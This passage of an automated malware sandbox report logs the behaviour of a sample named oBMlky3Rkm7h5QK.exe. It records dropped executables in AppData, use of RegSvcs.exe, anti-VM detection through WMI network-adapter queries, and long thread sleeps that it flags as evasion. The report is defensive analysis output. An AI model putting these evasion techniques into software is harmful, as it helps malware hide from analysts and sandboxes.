Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: oBMlky3Rkm7h5QK.exe PID: 3544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ECXXCuFHUVw.exe PID: 2136, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory allocated: 1060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory allocated: 2DD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory allocated: 4DD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory allocated: 7BF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory allocated: 8BF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory allocated: 8DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory allocated: 9DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory allocated: 1530000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory allocated: 33B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory allocated: 31E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory allocated: 7BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory allocated: 8BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory allocated: 7BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Memory allocated: CF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Memory allocated: 2A00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Memory allocated: 2840000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Memory allocated: 1060000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Memory allocated: 2A60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Memory allocated: 4A60000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8194	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 901	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7746	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1072	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3220	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1450	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 8038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1813

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe TID: 2752	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5896	Thread sleep count: 8194 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6084	Thread sleep count: 901 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2448	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3416	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2544	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
